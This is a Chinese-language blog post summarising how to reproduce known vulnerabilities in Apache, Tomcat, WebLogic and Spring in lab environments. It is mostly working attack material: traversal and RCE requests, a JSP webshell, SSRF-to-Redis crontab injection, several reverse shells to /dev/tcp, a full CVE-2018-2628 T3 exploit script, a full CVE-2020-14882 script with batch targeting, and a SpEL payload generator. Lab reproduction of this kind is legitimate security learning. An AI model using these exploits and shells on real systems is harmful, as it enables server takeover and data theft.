中介軟體漏洞攻防學習總結

合天网安实验室發表於2024-04-09

前言

面試常問的一些中介軟體,學習總結一下。以下環境分別使用vulhub和vulfocus復現。

Apache

apache 檔案上傳 (CVE-2017-15715)

描述: Apache(音譯為阿帕奇)是世界使用排名第一的Web伺服器軟體。它可以執行在幾乎所有廣泛使用的計算機平臺上,由於其跨平臺和安全性被廣泛使用,是最流行的Web伺服器端軟體之一。 此漏洞的出現是由於 apache 在修復第一個字尾名解析漏洞時,用正則來匹配字尾。在解析 php 時 xxx.php\x0A 將被按照 php 字尾進行解析,導致繞過一些伺服器的安全策略

image.png image.png image.png image.png 說明是黑名單繞過 使用編碼器,在php後面加0a image.png 這裡加a是方便修改0a image.png image.png

apache httpd解析漏洞

image.png image.png image.png 檢視配置檔案grep -rn "x-httpd-php" image.png

改漏洞存在的主要原因是這個配置檔案的原因

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

Apache SSI 遠端命令執行漏洞

在測試任意檔案上傳漏洞的時候,目標服務端可能不允許上傳php字尾的檔案。如果目標伺服器開啟了SSI與CGI支援,我們可以上傳一個shtml檔案,並利用<!--#exec cmd="id" -->語法執行任意命令。 image.png image.png 有限制,影響版本是apache全版本,支援SSI與CGI 預設的副檔名是 .stm、.shtm 和 .shtml image.png

 

image.png

CVE-2021-41773 目錄穿越

Apache HTTP Server2.4.49、2.4.50版本對路徑規範化所做的更改中存在一個路徑穿越漏洞,攻擊者可利用該漏洞讀取到Web目錄外的其他檔案,如系統配置檔案、網站原始碼等,甚至在特定情況下,攻擊者可構造惡意請求執行命令,控制伺服器。image.png 符合版本 payload image.png curl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

CVE-2021-42013 RCE&目錄遍歷&檔案解析

apache HTTP Server2.4.50 中針對 CVE-2021-41773 的修復不夠充分。攻擊者可以使用路徑遍歷攻擊將 URL 對映到由類似別名的指令配置的目錄之外的檔案。如果這些目錄之外的檔案不受通常的預設配置“要求全部拒絕”的保護,則這些請求可能會成功。如果還為這些別名路徑啟用了 CGI 指令碼,則這可能允許遠端程式碼執行。此問題僅影響 Apache2.4.49 和 Apache2.4.50,而不影響更早版本 image.png POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 192.168.48.144:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 If-None-Match: "2d-432a5e4a73a80" If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7

echo;id image.png

Tomcat

CVE-2017-12615 檔案上傳

當存在漏洞的Tomcat執行在Windows/Linux主機上, 且啟用了HTTP PUT請求方法( 例如, 將readonly初始化引數由預設值設定為false) , 攻擊者將有可能可透過精心構造的攻擊請求資料包向伺服器上傳包含任意程式碼的JSP的webshell檔案,JSP檔案中的惡意程式碼將能被伺服器執行, 導致伺服器上的資料洩露或獲取伺服器許可權 image.png 這裡存在PUT任意檔案上傳漏洞 但是值得一提的是這裡有個細節,org.apache.jasper.servlet.JspServlet:預設處理jsp,jspx檔案請求,不存在PUT上傳邏輯,無法處理PUT請求 org.apache.catalina.servlets.DefaultServlet:預設處理靜態檔案(除jsp,jspx之外的檔案),存在PUT上傳處理邏輯,可以處理PUT請求。 也就是我們想要上傳JSP檔案的話,需要進行繞過,這裡其實相當於黑名單邏輯,那麼我可以透過windows特性對其進行繞過。 image.png image.png 加/繞過 PUT /2.jsp/ HTTP/1.1 Host: 192.168.48.144:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 300

<% if("666".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

image.png /繞過 %20繞過 xxx.jsp::$DATA繞過 image.png 冰蠍馬連線 image.png image.png

CVE-2020-1938 檔案包含

ApacheTomcat AJP協議(預設8009埠)由於存在實現缺陷導致相關引數可控,攻擊者利用該漏洞可透過構造特定引數,讀取伺服器webapp目錄下的任意檔案。若伺服器端同時存在檔案上傳功能,攻擊者可進一步結合檔案包含實現遠端程式碼的執行。 漏洞影響的產品版本包括: Tomcat6.* Tomcat7.<7.0.100 Tomcat8.<8.5.51 Tomcat9.*<9.0.31 使用這個指令碼 CNVD-2020-10487-Tomcat-Ajp-lfi.py https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi image.png image.png python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 47297 -f WEB-INF/web.xml 這裡47297是8009的對映埠

tomcat弱口令getshell

image.png 這裡弱口令地點在這個manager這裡 image.png image.png 嘗試tomcat/tomcat image.png image.png 使用哥斯拉生成jsp馬,然後壓縮zip,修改檔名war image.png 在這裡上傳 image.png 這裡多個目錄,地址請求/1/1.jsp webshell連線 image.png

weblogic

Weblogic是Oracle公司推出的J2EE應用伺服器。 探針預設埠:7001 推薦工具 https://github.com/KimJun1010/WeblogicTool/

weblogic ssrf(CVE-2014-4210)

weblogic中存在一個SSRF漏洞,利用該漏洞可以傳送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱元件。 影響版本 Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 10.0.2.0 http://192.168.48.144:7001/uddiexplorer/ 未授權訪問 image.png ssrf payload /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 如下是存在的image.png 否則則回顯 image.png 這個漏洞環境開兩個docker,目的是利用這個ssrf探測到這個redis服務,進而繼續進行SSRF打redis 這裡是直接進去docker看ip地址了,實戰中可以嘗試直接爆破 weblogic可以利用%0a%0d注入換行符,而redis服務是透過換行符來分割每條命令,也就是我們可以透過該SSRF攻擊內網中的redis伺服器。 172.19.0.2 image.png image.png 一個是回視訊記憶體在的,一個是回顯不存在的 構造payload,這裡利用redis計劃任務進行反彈shell,這裡值得注意的是,因為環境是centos,所以這裡才可以利用redis計劃任務攻擊,如果是ubuntu的話會不識別其中的部分命令,導致不會執行成功。 set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.48.144/6655 0>&1'\n\n\n\n" config set dir /etc/ config set dbfilename crontab save 進行url編碼 image.png

weblogic 反序列化(CVE-2017-10271)

描述: Oracle Fusion Middleware(Oracle融合中介軟體)是美國甲骨文(Oracle)公司的一套面向企業和雲環境的業務創新平臺。該平臺提供了中介軟體、軟體集合等功能。Oracle WebLogic Server是其中的一個適用於雲環境和傳統環境的應用伺服器元件。 Weblogic的WLS Security元件對外提供webservice服務,其中使用了XMLDecoder來解析使用者傳入的XML資料,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者傳送精心構造的xml資料甚至能透過反彈shell拿到許可權。 image.png image.png 該漏洞的原因主要是XMLDecoder解析使用者的XML的資料,在解析的過程中出現反序列化漏洞,我們可以透過構造XML資料透過反彈shell拿到許可權。 利用該工具可以直接命令執行 image.png 手工復現 訪問該地址/wls-wsat/CoordinatorPortType POST發包,記得修改Content-Type text/xml 下面的string的是文字內容 image.png 訪問wls-wsat/test.txt image.png 構造反彈shell :::info <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> soapenv:Header <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/ip/6664 0>&1</string> </void> </array> <void method="start"/></void> </java> /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope :::

weblogic 反序列化(CVE-2018-2628)

該漏洞透過T3協議觸發,可導致遠端命令執行 漏洞影響版本

  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.2

  • Weblogic 12.2.1.3

什麼是T3協議? T用於在Weblogic伺服器和其他型別的Java程式之間傳輸資訊的協議。Weblogic會跟蹤連線到應用程式的每個Java虛擬機器,要將流量傳輸到Java虛擬機器,Weblogic會建立一個T3連線。該連結會透過消除在網路之間的多個協議來最大化效率,從而使用較少的作業系統資源。用於T3連線的協議還可以最大限度減少資料包大小,提高傳輸速度 http://192.168.48.144:7001/ 訪問7001埠,也是這個頁面,類似springboot,可以用這個作為weblogic的特徵 image.png image.png

bash -i >& /dev/tcp/192.168.48.144/6677 0>&1 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}' image.png image.png image.png CVE-2018-2628 EXP

from __future__ import print_function
​
import binascii
import os
import socket
import sys
import time
​
​
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)
​
​
def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')
​
​
def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
​
​
def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res
​
​
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')
​
​
if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()
​
    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
weblogic 未授權RCE(CVE-2020-14882)

漏洞影響版本 Oracle Weblogic Server 10.3.6.0.0 Oracle Weblogic Server 12.1.3.0.0 Oracle Weblogic Server 12.2.1.3.0 Oracle Weblogic Server 12.2.1.4.0 Oracle Weblogic Server 14.1.1.0.0 payload 未授權訪問後臺 http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=true&pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29 中介軟體漏洞攻防學習總結 未授權RCE利用指令碼 https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py :::info #coding:utf-8 import requests import sys import argparse import http.client

http.client.HTTPConnection.http_vsn = 10 http.client.HTTPConnection.http_vsn_str = 'HTTP/1.0'

requests.packages.urllib3.disable_warnings()

#功能1方法:回顯命令執行。 def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text)

    else:
        print ("[-] " + url + " not vulnerable or command error!")
except Exception as e:
    #print (e)
    print ("[-] " + url + " not vulnerable or command error!")

#功能2方法:無回顯,命令執行,適用於Weblogic 10.x、12.x。 def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!")

def main(): banner = """ ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) | | | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_|___/ || |_| _/ _/|

                                                     Author:GGyao
                                                     Github:[https://github.com/GGyao](https://github.com/GGyao)

"""

print (banner)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ")
args = parser.parse_args()
​
#功能1:命令回顯。
if args.url != None and args.cmd != None:
    url = args.url
    url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
    headers_cmd = {
    'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
    'cmd':args.cmd,
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Content-Type':'application/x-www-form-urlencoded'
    }
​
    #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""

#command(url_cmd,post_cmd,headers_cmd,url) command(url_cmd,headers_cmd,url)

#功能2:weblogic 12.x命令執行。
if args.url != None and args.xml != None:
    url_cmd = args.url + '/console/images/%252e%252e/console.portal'
    headers_12 = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Content-Type':'application/x-www-form-urlencoded'
    }
​
    post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
​
    weblogic_12(url_cmd,post_12,headers_12)
​
# 功能3:回顯命令執行批次。
if args.file != None and args.cmd != None:
    #print (1)
    for File  in open(args.file):
        File = File.strip()
        url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
        print ("[*] >>> Test:" + File)
​
        url = File
        headers_cmd = {
        'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
        'cmd':args.cmd,
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Content-Type':'application/x-www-form-urlencoded'
        }
        #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
        command(url_cmd,headers_cmd,url)

if name=="main": main() ::: python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami" image.png

weblogic RCE (CVE-2023-21839)

漏洞介紹 CVE-2023-21839是Weblogic產品中的遠端程式碼執行漏洞,由於Weblogic IIOP/T3協議存在缺陷,當IIOP/T3協議開啟時,允許未經身份驗證的攻擊者透過IIOP/T3協議網路訪問攻擊存在安全風險的WebLogic Server,漏洞利用成功可能會導致Oracle Weblogic伺服器被控制,遠端注入作業系統命令或程式碼。 java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144 image.png 使用工具進行攻擊 下載地址 https://github.com/DXask88MA/Weblogic-CVE-2023-21839 java -jar Weblogic-CVE-2023-21839.jar 192.168.48.144:7001 ldap://192.168.48.144:1389/Basic/ReverseShell/192.168.48.144/6666 image.png image.png 反彈shell成功

weblogic weak_password

該漏洞復現過程為透過任意檔案讀取其密文和加密的金鑰檔案進行破解,然後用得到的密碼進行登陸,利用後臺檔案上傳進行getshell 復現過程 任意檔案讀取payload hello/file.jsp?path= SerializedSystemIni.dat 二進位制檔案是金鑰 config.xml 是密文 weblogic密碼使用AES加密,老版本使用的是DES。需要找到金鑰即可對密文進行解密 這裡利用任意檔案讀取漏洞對金鑰和密文進行讀取 /hello/file.jsp?path=security/SerializedSystemIni.dat image.png 這裡複製到檔案 /hello/file.jsp?path=config/config.xml image.png yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k= 利用工具進行解密 https://github.com/TideSec/Decrypt_Weblogic_Password image.png Oracle@123

淺淺總結下,weblogic特徵404頁面。/console可訪問登陸,進後臺管理可以透過war包上傳getshell,有xmldecode反序列化和T3協議反序列化,存在SSRF漏洞打內網漏洞

spring

spring框架 Spring是一個輕量級Java開發框架,最早有Rod Johnson建立,目的是為了解決企業級應用開發的業務邏輯層和其他各層的耦合問題。它是一個分層的JavaSE/JavaEE full-stack(一站式)輕量級開源框架,為開發Java應用程式提供全面的基礎架構支援。Spring負責基礎架構,因此Java開發者可以專注於應用程式的開發。 springboot框架介紹 SpringBoot是一個快速開發的框架,能過快速整合第三方框架,他是如何快速整合的呢?其實他是的基本原來是Maven依賴關係,Maven的整合,完全採用註解化,簡化XML配置,內嵌HTTP伺服器(Tomcate,jetty),預設嵌入Tomcat,最終以Java應用程式進行執行。 SpringBoot與SpringCloud 的區別? SpringCloud一套目前完整的微服務解決框架,功能非常強大,註冊中心,客戶端呼叫工具,服務治理(負載均衡,斷路器,分散式配置中心,網管,訊息匯流排等

敏感資訊洩露漏洞

這裡直接上工具掃就行 https://github.com/AabyssZG/SpringBoot-Scan 工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/" 資訊洩露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/" 漏洞利用 image.png

Spring-security-oauth(CVE-2016-4977)

影響版本 Spring Security OAuth 2.3到2.3.2 Spring Security OAuth 2.2到2.2.1 Spring Security OAuth 2.1到2.1.1 Spring Security OAuth 2.0到2.0.14 payload admin admin http://192.168.48.133:8080/oauth/authorize?response_type=${3*3}&client_id=acme&scope=openid&redirect_uri=http://test image.png response_type引數值會被當做Spring SpEL來執行 反彈shell bash -i >& /dev/tcp/your-ip/port 0>&1 base64反彈shell bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i} payload生成指令碼

message = input('Enter message to encode:')
​
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
​
for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
​
poc += ')}'
​
print(poc)

